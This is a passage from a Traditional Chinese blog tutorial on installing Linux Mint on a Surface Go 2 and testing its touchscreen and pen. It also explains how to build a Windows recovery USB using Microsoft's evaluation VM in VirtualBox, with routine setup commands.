<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7ENl3ynEIitbQBjwfztFhlM1l72xhYyBeXa9_KJ80FETNms-LpHIYTNidcSp5Ro6DY5BwXkgPLOgKuXmD4jvgNAtWISsP7DVYFfRaDaCTU1N1EV_F_8LKNjDSvH4ybNgjPaSZlphPYZxF3WdfxrKrUxW-CpcO7YLedyzFT6hlX-zUZoIt0Y-6dajIJp0/w0/linux-on-surface-go-2-052.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7ENl3ynEIitbQBjwfztFhlM1l72xhYyBeXa9_KJ80FETNms-LpHIYTNidcSp5Ro6DY5BwXkgPLOgKuXmD4jvgNAtWISsP7DVYFfRaDaCTU1N1EV_F_8LKNjDSvH4ybNgjPaSZlphPYZxF3WdfxrKrUxW-CpcO7YLedyzFT6hlX-zUZoIt0Y-6dajIJp0/w600/linux-on-surface-go-2-052.png"/></a></div>
<p>再根據需要調整 Windows 及 Linux Mint 的分割區空間</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYBH7Pq3D3asPeEqd1QjEMqktsIjU7GYvUzwqwEYySvh1YwgCQ_xrVlZC6hiLDECvH1z-PgCLcBm8Ng3Mr1EAZBMfOZl4jTFe7E0d5QFDThLe6axYYojDRZd10MQgq_8TeljGxQez3mO0ycAqtcNlItKLRpZ8guZ3xcQKA3uRQ5sTJAWFcRs_M2rm3AkI/w0/linux-on-surface-go-2-053.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYBH7Pq3D3asPeEqd1QjEMqktsIjU7GYvUzwqwEYySvh1YwgCQ_xrVlZC6hiLDECvH1z-PgCLcBm8Ng3Mr1EAZBMfOZl4jTFe7E0d5QFDThLe6axYYojDRZd10MQgq_8TeljGxQez3mO0ycAqtcNlItKLRpZ8guZ3xcQKA3uRQ5sTJAWFcRs_M2rm3AkI/w600/linux-on-surface-go-2-053.png"/></a></div>
<p>如果不打算使用 Windows ,亦可以使用 <span class="mra-highlighter">Erase disk and install Linux Mint</span><br/>
清除整個硬碟的資料,並讓 Linux Mint 佔據整個空間</p>
<p>兩種安裝操作,安裝時都會 <span class="mra-highlighter">自動建立 UEFI起動分區</span></p>
<a name="測試觸控熒幕"></a><h4 class="mra-h4">測試觸控熒幕</h4>
<p>將 Linux 安裝到 Surface Go 2 後,便可以試用 Linux 對 觸控熒幕 及 繪圖筆 的使用情況</p>
<div><a href="https://photos.google.com/album/AF1QipMaDFP6c3_9T24fqClM-gFJ29RGHDmWkljl57bM/photo/AF1QipMmuq54kPCbuXEoUWX9Sl-qvausPIvnxhdVoSF7"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/-82-zxi_Hg0c/ZTtsysbcAwI/AAAAAAADGmc/zeHv0k7Pdrk8SRNbsK_TkrqfF6sEzf1owCEwYBhgLKpMFAPYkdFuOt4spc3dSp5PcnefkKEg5bEZZtkknQsjXc2_-CtMgQv12kRtDNcHVqbYKU2jbbn4iT8P4w7W7BnmDXp_5DXZmX5Brb91Ksmf7PZVPUaSD8HxMXS0IoBp5RwAEwcZn-0FCx8mqjwdKx21tgqLvr-HGyiQeZLQHTrzuN8sBfJs6yJZnssLxy__Qst7Ba8mklrAYZARDcwTUwWbToNyZRSkaBh5By5pr3cnpWbTMOgq4uO_O6mvc0qts9pHq_xwJMvhht1Kw_kjH828bw6TeFvKWNsMzv5Xl7WZAp75U9PM8raCdPW7hEBYrztsVgXBERxcNzjBPvty_deoR6sP5vmZ42dpznjNWrAFVF6foMgblAKodi_cDmTPypRf1Ko0TyWruILPa9NjTnH2BLZ60g10EpHkWnNPMPMjKJ5jDShH9PF0IxDE9pBBhYt4NcVeRAxGZtJhEXuoKXbPCvKC49MRjZNSzGO5PFbUobLkPQcxVf0jlp3gLoKkGCzwXKarUyABAszpsBndLvBFhWTeI6nsYztX217kWUs9SfCRLO72vUaiwQSOHkePCZEx0ih0iRoOylhMB5EvVAyzk4PwU7PaK3qVUIrWKDR0ItmVkpPRJA6VHBTdA2T8KEoI_TZPjka_yMg9x50G9vf2R2KtlrPRC1dF9IX-OGYSsON2hVM2P0LJHrjv83daKqhgETu2npove5G29TwOPBMXL5nvSWaHWUaLU-fN3Y1vZBJgDVD9-LBiCBEwciUqovE0UWVLbZ6cNomfdcvcEgblNfbo-nV6Ll6xpV3ryzKhWmbTxM7OfglnSRQbTdlshZ_00-hABDO2_T0WPOnSiKoZG-Jwx7w4O3g1TQhFskyh8SftyYq4wjOntqQY/w600/linux-on-surface-go-060-pencil.mp4"/></a></div>
<p>支援繪圖筆壓力感應</p>
<div><a href="https://photos.google.com/album/AF1QipMaDFP6c3_9T24fqClM-gFJ29RGHDmWkljl57bM/photo/AF1QipNUuRAegU_WC6t05z4ec8LLdFfPbm4tsZJStzNo"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/-PoBg7FBgKcc/ZTts0Mgpe0I/AAAAAAADGmo/pWweWlQrrw02VAq3gprc20QUP7wub5rRQCEwYBhgLKpMFAPYkdFuOt4spc3dSp5PcnefkKEg5bEZZtkknQsjXc2_-CtMgQv12kRtDNcHVqbYKU2jbbn4iT8P4w7W7BnmDXp_5DXZmX5Brb91Ksmf7PZVPUaSD8HxMXS0IoBp5RwAEwcZn-0FCx8mqjwdKx21tgqLvr-HGyiQeZLQHTrzuN8sBfJs6yJZnssLxy__Qst7Ba8mklrAYZARDcwTUwWbToNyZRSkaBh5By5pr3cnpWbTMOgq4uO_O6mvc0qts9pHq_xwJMvhht1Kw_kjH828bw6TeFvKWNsMzv5Xl7WZAp75U9PM8raCdPW7hEBYrztsVgXBERxcNzjBPvty_deoR6sP5vmZ42dpznjNWrAFVF6foMgblAKodi_cDmTPypRf1Ko0TyWruILPa9NjTnH2BLZ60g10EpHkWnNPMPMjKJ5jDShH9PF0IxDE9pBBhYt4NcVeRAxGZtJhEXuoKXbPCvKC49MRjZNSzGO5PFbUobLkPQcxVf0jlp3gLoKkGCzwXKarUyABAszpsBndLvBFhWTeI6nsYztX217kWUs9SfCRLO72vUaiwQSOHkePCZEx0ih0iRoOylhMB5EvVAyzk4PwU7PaK3qVUIrWKDR0ItmVkpPRJA6VHBTdA2T8KEoI_TZPjka_yMg9x50G9vf2R2KtlrPRC1dF9IX-OGYSsON2hVM2P0LJHrjv83daKqhgETu2npove5G29TwOPBMXL5nvSWaHWUaLU-fN3Y1vZBJgDVD9-LBiCBEwciUqovE0UWVLbZ6cNomfdcvcEgblNfbo-nV6Ll6xpV3ryzKhWmbTxM7OfglnSRQbTdlshZ_00-hABDO2_T0WPOnSiKoZG-Jwx7w4O3g1TQhFskyh8SftyYq4wjOntqQY/w600/linux-on-surface-go-061-gesture.mp4"/></a></div>
<p>支援網頁瀏覽手勢</p>
<div><a href="https://photos.google.com/album/AF1QipMaDFP6c3_9T24fqClM-gFJ29RGHDmWkljl57bM/photo/AF1QipP-IgFfN37vaCy0P9HHHdoDavVgaXDJezScNE4y"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/-4fPhNzpV8lI/ZTts15psqEI/AAAAAAADGm4/f99mZtQyGkwEwQbdR7-UMwpULZaEHprgQCEwYBhgLKpMFAPYkdFuOt4spc3dSp5PcnefkKEg5bEZZtkknQsjXc2_-CtMgQv12kRtDNcHVqbYKU2jbbn4iT8P4w7W7BnmDXp_5DXZmX5Brb91Ksmf7PZVPUaSD8HxMXS0IoBp5RwAEwcZn-0FCx8mqjwdKx21tgqLvr-HGyiQeZLQHTrzuN8sBfJs6yJZnssLxy__Qst7Ba8mklrAYZARDcwTUwWbToNyZRSkaBh5By5pr3cnpWbTMOgq4uO_O6mvc0qts9pHq_xwJMvhht1Kw_kjH828bw6TeFvKWNsMzv5Xl7WZAp75U9PM8raCdPW7hEBYrztsVgXBERxcNzjBPvty_deoR6sP5vmZ42dpznjNWrAFVF6foMgblAKodi_cDmTPypRf1Ko0TyWruILPa9NjTnH2BLZ60g10EpHkWnNPMPMjKJ5jDShH9PF0IxDE9pBBhYt4NcVeRAxGZtJhEXuoKXbPCvKC49MRjZNSzGO5PFbUobLkPQcxVf0jlp3gLoKkGCzwXKarUyABAszpsBndLvBFhWTeI6nsYztX217kWUs9SfCRLO72vUaiwQSOHkePCZEx0ih0iRoOylhMB5EvVAyzk4PwU7PaK3qVUIrWKDR0ItmVkpPRJA6VHBTdA2T8KEoI_TZPjka_yMg9x50G9vf2R2KtlrPRC1dF9IX-OGYSsON2hVM2P0LJHrjv83daKqhgETu2npove5G29TwOPBMXL5nvSWaHWUaLU-fN3Y1vZBJgDVD9-LBiCBEwciUqovE0UWVLbZ6cNomfdcvcEgblNfbo-nV6Ll6xpV3ryzKhWmbTxM7OfglnSRQbTdlshZ_00-hABDO2_T0WPOnSiKoZG-Jwx7w4O3g1TQhFskyh8SftyYq4wjOntqQY/w600/linux-on-surface-go-062-highlight.mp4"/></a></div>
<p>支援文字選取<br/>
(繪圖筆選取 再以 手勢操作)</p>
<div><a href="https://photos.google.com/album/AF1QipMaDFP6c3_9T24fqClM-gFJ29RGHDmWkljl57bM/photo/AF1QipNIIiMxaIvIn9nXwz5WU_qPT7UotIxgY_Wcy5qZ"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/-EIzQGT728IU/ZTts3q3TMJI/AAAAAAADGnE/mJloENhbZ7Aj_oXmvLa365f2XAgzHNbrACEwYBhgLKpMFAPYkdFuOt4spc3dSp5PcnefkKEg5bEZZtkknQsjXc2_-CtMgQv12kRtDNcHVqbYKU2jbbn4iT8P4w7W7BnmDXp_5DXZmX5Brb91Ksmf7PZVPUaSD8HxMXS0IoBp5RwAEwcZn-0FCx8mqjwdKx21tgqLvr-HGyiQeZLQHTrzuN8sBfJs6yJZnssLxy__Qst7Ba8mklrAYZARDcwTUwWbToNyZRSkaBh5By5pr3cnpWbTMOgq4uO_O6mvc0qts9pHq_xwJMvhht1Kw_kjH828bw6TeFvKWNsMzv5Xl7WZAp75U9PM8raCdPW7hEBYrztsVgXBERxcNzjBPvty_deoR6sP5vmZ42dpznjNWrAFVF6foMgblAKodi_cDmTPypRf1Ko0TyWruILPa9NjTnH2BLZ60g10EpHkWnNPMPMjKJ5jDShH9PF0IxDE9pBBhYt4NcVeRAxGZtJhEXuoKXbPCvKC49MRjZNSzGO5PFbUobLkPQcxVf0jlp3gLoKkGCzwXKarUyABAszpsBndLvBFhWTeI6nsYztX217kWUs9SfCRLO72vUaiwQSOHkePCZEx0ih0iRoOylhMB5EvVAyzk4PwU7PaK3qVUIrWKDR0ItmVkpPRJA6VHBTdA2T8KEoI_TZPjka_yMg9x50G9vf2R2KtlrPRC1dF9IX-OGYSsON2hVM2P0LJHrjv83daKqhgETu2npove5G29TwOPBMXL5nvSWaHWUaLU-fN3Y1vZBJgDVD9-LBiCBEwciUqovE0UWVLbZ6cNomfdcvcEgblNfbo-nV6Ll6xpV3ryzKhWmbTxM7OfglnSRQbTdlshZ_00-hABDO2_T0WPOnSiKoZG-Jwx7w4O3g1TQhFskyh8SftyYq4wjOntqQY/w600/linux-on-surface-go-063-type.mp4"/></a></div>
<p>支援熒幕虛擬鍵盤</p>
<div><a href="https://photos.google.com/album/AF1QipMaDFP6c3_9T24fqClM-gFJ29RGHDmWkljl57bM/photo/AF1QipPHOFX2qthQJDvjSaVE407K8wQ22Jm7Ujm5PbL6"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/-m1b5nFjbNtg/ZTts5RGM6zI/AAAAAAADGnQ/j4VsuKCgZLojUeWJRG8taSsNkylXF_AoQCEwYBhgLKpMFAPYkdFuOt4spc3dSp5PcnefkKEg5bEZZtkknQsjXc2_-CtMgQv12kRtDNcHVqbYKU2jbbn4iT8P4w7W7BnmDXp_5DXZmX5Brb91Ksmf7PZVPUaSD8HxMXS0IoBp5RwAEwcZn-0FCx8mqjwdKx21tgqLvr-HGyiQeZLQHTrzuN8sBfJs6yJZnssLxy__Qst7Ba8mklrAYZARDcwTUwWbToNyZRSkaBh5By5pr3cnpWbTMOgq4uO_O6mvc0qts9pHq_xwJMvhht1Kw_kjH828bw6TeFvKWNsMzv5Xl7WZAp75U9PM8raCdPW7hEBYrztsVgXBERxcNzjBPvty_deoR6sP5vmZ42dpznjNWrAFVF6foMgblAKodi_cDmTPypRf1Ko0TyWruILPa9NjTnH2BLZ60g10EpHkWnNPMPMjKJ5jDShH9PF0IxDE9pBBhYt4NcVeRAxGZtJhEXuoKXbPCvKC49MRjZNSzGO5PFbUobLkPQcxVf0jlp3gLoKkGCzwXKarUyABAszpsBndLvBFhWTeI6nsYztX217kWUs9SfCRLO72vUaiwQSOHkePCZEx0ih0iRoOylhMB5EvVAyzk4PwU7PaK3qVUIrWKDR0ItmVkpPRJA6VHBTdA2T8KEoI_TZPjka_yMg9x50G9vf2R2KtlrPRC1dF9IX-OGYSsON2hVM2P0LJHrjv83daKqhgETu2npove5G29TwOPBMXL5nvSWaHWUaLU-fN3Y1vZBJgDVD9-LBiCBEwciUqovE0UWVLbZ6cNomfdcvcEgblNfbo-nV6Ll6xpV3ryzKhWmbTxM7OfglnSRQbTdlshZ_00-hABDO2_T0WPOnSiKoZG-Jwx7w4O3g1TQhFskyh8SftyYq4wjOntqQY/w600/linux-on-surface-go-064-right-click.mp4"/></a></div>
<p>支援滑鼠虛擬右鍵</p>
<div><a href="https://photos.google.com/album/AF1QipMaDFP6c3_9T24fqClM-gFJ29RGHDmWkljl57bM/photo/AF1QipNv_Y-V8ibVIw0HeraDlmwLtZRjnDDdmhJczKt6"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/-At63A_M8BlM/ZTts6ylG-6I/AAAAAAADGnc/H7WySiT-h6EXfWDoM5XqBQ_l8Jc7SoUmwCEwYBhgLKpMFAPYkdFuOt4spc3dSp5PcnefkKEg5bEZZtkknQsjXc2_-CtMgQv12kRtDNcHVqbYKU2jbbn4iT8P4w7W7BnmDXp_5DXZmX5Brb91Ksmf7PZVPUaSD8HxMXS0IoBp5RwAEwcZn-0FCx8mqjwdKx21tgqLvr-HGyiQeZLQHTrzuN8sBfJs6yJZnssLxy__Qst7Ba8mklrAYZARDcwTUwWbToNyZRSkaBh5By5pr3cnpWbTMOgq4uO_O6mvc0qts9pHq_xwJMvhht1Kw_kjH828bw6TeFvKWNsMzv5Xl7WZAp75U9PM8raCdPW7hEBYrztsVgXBERxcNzjBPvty_deoR6sP5vmZ42dpznjNWrAFVF6foMgblAKodi_cDmTPypRf1Ko0TyWruILPa9NjTnH2BLZ60g10EpHkWnNPMPMjKJ5jDShH9PF0IxDE9pBBhYt4NcVeRAxGZtJhEXuoKXbPCvKC49MRjZNSzGO5PFbUobLkPQcxVf0jlp3gLoKkGCzwXKarUyABAszpsBndLvBFhWTeI6nsYztX217kWUs9SfCRLO72vUaiwQSOHkePCZEx0ih0iRoOylhMB5EvVAyzk4PwU7PaK3qVUIrWKDR0ItmVkpPRJA6VHBTdA2T8KEoI_TZPjka_yMg9x50G9vf2R2KtlrPRC1dF9IX-OGYSsON2hVM2P0LJHrjv83daKqhgETu2npove5G29TwOPBMXL5nvSWaHWUaLU-fN3Y1vZBJgDVD9-LBiCBEwciUqovE0UWVLbZ6cNomfdcvcEgblNfbo-nV6Ll6xpV3ryzKhWmbTxM7OfglnSRQbTdlshZ_00-hABDO2_T0WPOnSiKoZG-Jwx7w4O3g1TQhFskyh8SftyYq4wjOntqQY/w600/linux-on-surface-go-065-image-rotate.mp4"/></a></div>
<p>支援圖像縮放及旋轉手勢</p>
<a name="補充資料"></a><h4 class="mra-h4">補充資料</h4>
<a name="使用虛擬機製作Windows起動裝置"></a><h5 class="mra-h5">使用虛擬機製作 Windows起動裝置</h5>
<p>但如果沒有 Windows ,應該如何製作 Windows起動裝置 ?</p>
<p>還是使用 Windows ,只是不一定要是安裝原生的 Windows<br/>
亦不需要以非法途徑獲取的 Windows ,而是使用能在虛擬機運作的 Windows</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0hOy9q333dKmNdLTg_Ecn_MZ31KGkj9_jzUnaEaA5QiHeFHvRmm5KFM2cqoYyYPXexja_vv1IS7h0csjwxpbW7W5Fatrwj8uaj82bcNJA5TCcf-LM4KQMstx3pt1yQTaRZu_JzV4NhkfjhppgQrNWft7N2Svl5yhtyjrvjhrrIBTSJ1wGC_ZlfZmFDiI/w0/linux-on-surface-go-070.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0hOy9q333dKmNdLTg_Ecn_MZ31KGkj9_jzUnaEaA5QiHeFHvRmm5KFM2cqoYyYPXexja_vv1IS7h0csjwxpbW7W5Fatrwj8uaj82bcNJA5TCcf-LM4KQMstx3pt1yQTaRZu_JzV4NhkfjhppgQrNWft7N2Svl5yhtyjrvjhrrIBTSJ1wGC_ZlfZmFDiI/w600/linux-on-surface-go-070.png"/></a></div>
<p>從 Microsoft 的官方網頁 <a href="https://developer.microsoft.com/windows/downloads/virtual-machines/">https://developer.microsoft.com/windows/downloads/virtual-machines/</a> 下載 評估版的Windows<br/>
評估版Windows 的壓縮檔案大約 9 GB ,解壓縮後大約 23 GB ,並將檔案匯入到虛擬機,虛擬機大約 30 GB<br/>
每個步驟都需要花費大量空間及時間,總使用空間大約 70 GB ,總使用時間大約 1小時<br/>
雖然 Windows評估版 的功能並不完整,但已具備 修復磁碟能 功能</p>
<p>由於需要製作實際的 Windows起動裝置 ,即是要讓由 虛擬機 能夠存取真實的 USB裝置<br/>
由於在下使用 VirtualBox ,而基於安全原因 , 在 Linux 使用 VirtualBox 運行的 虛擬機 不能隨意存取 USB<br/>
需要 root 或 super user 或 使用者帳戶 屬於 vboxusers 群組才能使用 USB</p>
<p>由於使用 root 或 super user 有機會由於 虛擬機 的系統,影響宿主系統,因此在下建議將帳戶 加入到 vboxusers 群組<br/>
到 系統 > 使用者設定值 修改即可,亦可以在 Terminal 輸入:</p>
<pre class="brush:bash">sudo usermod -a -G "vboxusers" "${USER}"</pre>
<p>另外,要讓 Windows評估版 在 VirtualBox 支援真實的 USB裝置,還需要安裝 VirtualBox擴充套件<br/>
在 Terminal 輸入:</p>
<pre class="brush:bash">sudo apt install virtualbox-ext-pack</pre>
或 <a href="apt:virtualbox-ext-pack">按此下載及安裝VirtualBox擴充套件</a>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4k0JL4LN09X2KU_sAipdRAHxeOY4-VOfFQP97pLrpYRpuBSjy34VK-RlhMBThnCWUOuLq8l_MSmq0gND-bjzjKuVGeUinMvpK5XMVlwG6qk7PaUFWxyEgJbJ3eoa8VWCjEo2iWKGaGjpb6Ly0N21W0jEVS8tBBXwgg_BTm5MOr4jRNWhFqnqRQmHEmiA/w0/linux-on-surface-go-066.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4k0JL4LN09X2KU_sAipdRAHxeOY4-VOfFQP97pLrpYRpuBSjy34VK-RlhMBThnCWUOuLq8l_MSmq0gND-bjzjKuVGeUinMvpK5XMVlwG6qk7PaUFWxyEgJbJ3eoa8VWCjEo2iWKGaGjpb6Ly0N21W0jEVS8tBBXwgg_BTm5MOr4jRNWhFqnqRQmHEmiA/w600/linux-on-surface-go-066.png"/></a></div>
<p>完成所有設定後,到 VirtualBox 的 評估版的Windows項目 的 設定 > USB 中<br/>
點選 啟用 USB 控制器 及 選擇 USB 2.0 (OHCI + EHCI) 控制器<br/>
在加入清單中 從裝置加入篩選器</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwuJ_EEtOozxS_KLlUoTjRZWBCPetS0U59jZuRgqEY1I_sjWYvnm1xo0AqOPPod8SiH7xMMfLn76VMriUKdQyigFDCTONZVB8To5ftkBVVZ8-SM9vmKVtEOqBe7rVJ_QC_5KrfPW6I8m2zOxG-JC_Io7ICO2DlfGrptd9fUIXjqtHJJFjvrMxKFVmeaSI/w0/linux-on-surface-go-067.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwuJ_EEtOozxS_KLlUoTjRZWBCPetS0U59jZuRgqEY1I_sjWYvnm1xo0AqOPPod8SiH7xMMfLn76VMriUKdQyigFDCTONZVB8To5ftkBVVZ8-SM9vmKVtEOqBe7rVJ_QC_5KrfPW6I8m2zOxG-JC_Io7ICO2DlfGrptd9fUIXjqtHJJFjvrMxKFVmeaSI/w600/linux-on-surface-go-067.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvsSxoHPbJvKw2ZMiK_m2t-Uajq3F-E8Id9S-p8b12IcsUjyIriCKKaz5TBbtNch69lDpFP8yr86zwGgXxHFzU5dmC_BeFnj2YwNkbhE5LB_FybQyntA1FhBR5aTxDoxX9ESpvmVj_NFnP9vFk8zfOExQwYDJb35q9P3mSTw167f1yhgF34Aml5GDAr2M/w0/linux-on-surface-go-068.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvsSxoHPbJvKw2ZMiK_m2t-Uajq3F-E8Id9S-p8b12IcsUjyIriCKKaz5TBbtNch69lDpFP8yr86zwGgXxHFzU5dmC_BeFnj2YwNkbhE5LB_FybQyntA1FhBR5aTxDoxX9ESpvmVj_NFnP9vFk8zfOExQwYDJb35q9P3mSTw167f1yhgF34Aml5GDAr2M/w600/linux-on-surface-go-068.png"/></a></div>
<p>選擇需要使用的 USB裝置</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgojBPjRyFXLhH33PKtSe7xuYKOuRSaTYgGy3LibfR2R4C8mwgT3p1xLqWwOTKVCcF9-33XQOXYe3ueLMSG5XuemS6wMfN6ZPtYmJYr0ToXFWH-HtIpB0MdRbY6pFt4TwTeSx0HY5Q9RXIeWLCdD4AB6pEPAVcAEtv5u38g940DG-acLEr5a4V-Xn-T-0/w0/linux-on-surface-go-069.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgojBPjRyFXLhH33PKtSe7xuYKOuRSaTYgGy3LibfR2R4C8mwgT3p1xLqWwOTKVCcF9-33XQOXYe3ueLMSG5XuemS6wMfN6ZPtYmJYr0ToXFWH-HtIpB0MdRbY6pFt4TwTeSx0HY5Q9RXIeWLCdD4AB6pEPAVcAEtv5u38g940DG-acLEr5a4V-Xn-T-0/w600/linux-on-surface-go-069.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQPqEyEDfLIcrF9bjJSP8moDRYTfcslIC6kPE076VGvItZASIsEw7l0IK-SYqqsFleJ64plWjtnqysY-058xYHjZV1YrJFWfTv4YfaGun9VnZdtWvRw7IOaFK6wvZS_E-RzI_yLX0rrQFrbR0inQ0vvbxiHnZDNo6OYGO-ou48xPbSvT-SYOyXj7Yul7E/w0/linux-on-surface-go-071.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQPqEyEDfLIcrF9bjJSP8moDRYTfcslIC6kPE076VGvItZASIsEw7l0IK-SYqqsFleJ64plWjtnqysY-058xYHjZV1YrJFWfTv4YfaGun9VnZdtWvRw7IOaFK6wvZS_E-RzI_yLX0rrQFrbR0inQ0vvbxiHnZDNo6OYGO-ou48xPbSvT-SYOyXj7Yul7E/w600/linux-on-surface-go-071.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd-Fyftm5hau_shiEYC7NfR_v_0I3MhiSI7dJ8hEIkqxCJ3XgqVtfvpBJp5AUjUo9uxxv-ul1q0PeYVocVWJEGoLb7besRB9hTovOSmK0MchY9nf6ncm2Uz5xzqlhW-X1HK4JDMit_ib1TkV3lna9hb4pWtwvMBrlLg9caJIDsLuXV63oRebbN7F5zhjk/w0/linux-on-surface-go-072.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd-Fyftm5hau_shiEYC7NfR_v_0I3MhiSI7dJ8hEIkqxCJ3XgqVtfvpBJp5AUjUo9uxxv-ul1q0PeYVocVWJEGoLb7besRB9hTovOSmK0MchY9nf6ncm2Uz5xzqlhW-X1HK4JDMit_ib1TkV3lna9hb4pWtwvMBrlLg9caJIDsLuXV63oRebbN7F5zhjk/w600/linux-on-surface-go-072.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgsLRgxhlBSX3O2_Z_YBASSvVRmy9C1_gSI5dLm7cRIPQjOmghAnEGMXirrem_yt1CQFrHWzd3g8_X-eNkIW4cO37NMWI3h0WpG7rLoUZMHKDmA9QfT6fiCQlYU3CBsCgv9rkZ6bb-AtZv_bhYdBvquWhkb49P22yb049vWvwcxUoxnF736S3e9Ou9hl8/w0/linux-on-surface-go-073.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgsLRgxhlBSX3O2_Z_YBASSvVRmy9C1_gSI5dLm7cRIPQjOmghAnEGMXirrem_yt1CQFrHWzd3g8_X-eNkIW4cO37NMWI3h0WpG7rLoUZMHKDmA9QfT6fiCQlYU3CBsCgv9rkZ6bb-AtZv_bhYdBvquWhkb49P22yb049vWvwcxUoxnF736S3e9Ou9hl8/w600/linux-on-surface-go-073.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivHGlENA00nfBUpDNICpHk4j1m6NRvKf74mZHoXoGRfeszrJ3r7Is7JO-mtHj9BeyPCAEA5w1kvASpsPRVBN8ZiSM9al8YoKSV1zweYoBj24yidjyAVoyvRNP1x6bEG_-JJ2Yy8lPrdwg1T7dnpsax3hjV5Xn8uieQe_0iGSqcm4TBJBWIFebQCVelsqY/w0/linux-on-surface-go-074.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivHGlENA00nfBUpDNICpHk4j1m6NRvKf74mZHoXoGRfeszrJ3r7Is7JO-mtHj9BeyPCAEA5w1kvASpsPRVBN8ZiSM9al8YoKSV1zweYoBj24yidjyAVoyvRNP1x6bEG_-JJ2Yy8lPrdwg1T7dnpsax3hjV5Xn8uieQe_0iGSqcm4TBJBWIFebQCVelsqY/w600/linux-on-surface-go-074.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEji4oMZHseu7br4t93v7Swre2UKWtisw-hThkGMOEsqekURqclzhvn4EWgqzpqzIcOh3gctsz7Brr0Nfs2Qyl2O3IbJU3RT2KQqceHOXfv7TB0ralxS7gcL5V-Z3xmDJt-_1gocXRFr0-2wXdmK6f1ZTGJv3S4vJ55XFEUbIn4dT2j149vHqC-rsmty48Y/w0/linux-on-surface-go-075.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEji4oMZHseu7br4t93v7Swre2UKWtisw-hThkGMOEsqekURqclzhvn4EWgqzpqzIcOh3gctsz7Brr0Nfs2Qyl2O3IbJU3RT2KQqceHOXfv7TB0ralxS7gcL5V-Z3xmDJt-_1gocXRFr0-2wXdmK6f1ZTGJv3S4vJ55XFEUbIn4dT2j149vHqC-rsmty48Y/w600/linux-on-surface-go-075.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZpVfN2DwmNHgNyGQiN9Ves72_KjavA-3-gFsDAbftH2r-7A1I1yQP2rEkSi7iy1Zx-F2empeO4wMAgiQTYVLs95wmF0J5LpGdV3OYs9ZRsM-dnk8IFP5ja3ioi8D1DVvqtpmrjBD_bNYQGOGcHpRS8U58Wc5cLYQqYOKWZh-kAtb2mv8rsGwmy7757Qg/w0/linux-on-surface-go-076.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZpVfN2DwmNHgNyGQiN9Ves72_KjavA-3-gFsDAbftH2r-7A1I1yQP2rEkSi7iy1Zx-F2empeO4wMAgiQTYVLs95wmF0J5LpGdV3OYs9ZRsM-dnk8IFP5ja3ioi8D1DVvqtpmrjBD_bNYQGOGcHpRS8U58Wc5cLYQqYOKWZh-kAtb2mv8rsGwmy7757Qg/w600/linux-on-surface-go-076.png"/></a></div>
<p>設定 USB 後,便可以執行 Windows評估版 重複 修復磁碟機 的操作<br/>
便能夠選擇 真實的USB裝置 製作 Windows起動裝置 ,只是運作速度比較慢</p>
